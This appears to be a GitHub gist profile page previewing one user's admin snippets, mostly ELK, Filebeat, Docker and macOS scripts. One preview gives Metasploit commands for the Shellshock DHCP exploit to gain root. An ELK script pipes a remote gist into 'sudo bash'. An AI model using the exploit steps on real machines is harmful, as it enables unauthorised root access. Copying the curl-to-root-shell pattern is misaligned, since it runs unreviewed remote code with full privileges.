Skip to content

Instantly share code, notes, and snippets.

View kimsyversen's full-sized avatar

Kim Syversen kimsyversen

View GitHub Profile
@kimsyversen
kimsyversen / gist:6521ecf5b1d18f11a027
Created July 24, 2014 10:18
Simple IP filter for the Slim Framework
<?php
/**
* Simple IP filter
*
* Use this middleware with your Slim Framework application
* to require restrict access to certain ip addresses
*
* USAGE
*
* $app = new \Slim\Slim();
@kimsyversen
kimsyversen / idletime.sh
Created October 1, 2015 19:20 — forked from Neil-Smithline/idletime.sh
Mac OS X Idle Time Shell Script
#!/bin/sh
# Get MacOSX idletime. Shamelessly stolen from http://bit.ly/yVhc5H
/usr/sbin/ioreg -c IOHIDSystem | /usr/bin/awk '/HIDIdleTime/ {print int($NF/1000000000); exit}'

#Exploits Get root via DHCP on machines vulnerable to Shellshock. Source. https://d.uijn.nl/?p=32

  1. Start Metasploit:
use exploit/unix/dhcp/bash_environment
set SRVHOST 192.168.1.1
set netmask 255.255.255.0
@kimsyversen
kimsyversen / ns-mac.py
Last active December 24, 2016 17:46
How to collect network statistics from MacOS and insert in influxdb (for use in grafana) (verified on 10.9)
#!/usr/bin/python
"""
Prereqs:
sudo pip install influxdb
sudo pip install simplejson
Grafana queries
SELECT derivative(mean("value"),1s) FROM "rx_bytes" WHERE $timeFilter GROUP BY time($interval) fill(null)
@kimsyversen
kimsyversen / elk6-server.sh
Last active May 7, 2018 05:31
ELK6 Server Install Script - Verified on Ubuntu 17.10 Desktop
#!/usr/bin/env bash
# How to install:
# curl -L https://gist.githubusercontent.com/kimsyversen/e51286fcfa39a01aed42682347414e9c/raw/5bb25bbcefd665ed8d71f43308b70c83f2c710e6/elk6.sh | sudo bash
# Src https://logz.io/learn/complete-guide-elk-stack
# For client see https://gist.github.com/kimsyversen/758c7a6104ce8ec5e407769c9c27a3b3
# Check for sudo
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
@kimsyversen
kimsyversen / gist:a8c35029da067a50222cb85ab8e6a489
Created April 27, 2018 04:16
ELK6 - Filebeat client stuff
cat << EOF > client_install.sh
# Dashboards for Kibana is available in filebeat
# Src https://logz.io/blog/shipping-logs-filebeat/
# Add beats repo
echo "deb https://packages.elastic.co/beats/apt stable main" | sudo tee -a /etc/apt/sources.list.d/beats.list
# Install filebeat
@kimsyversen
kimsyversen / ubuntu-1804-guesttools
Last active April 29, 2018 06:26
How to install Guest Tools in Ubuntu 18.04 LTS
#!/bin/bash
# Made by Kim Syversen (2018)
sudo apt install -y linux-headers-$(uname -r) build-essential dkms && \
echo -e "\nGo the Virtual box menu and select Devices. Then select Install Guest Additions CD Image. Reboot after installation is completed"
# Filebeat on CLIENT
# Work in progress
# Install
# Src: https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/6.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-6.x.list
sudo apt-get update && sudo apt-get install filebeat
@kimsyversen
kimsyversen / install_docker_ubuntu1804.sh
Created December 12, 2019 17:18
Install docker and docker-ce on Ubuntu 18.04
#!/bin/bash
sudo apt remove docker docker-engine docker.io
sudo apt install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"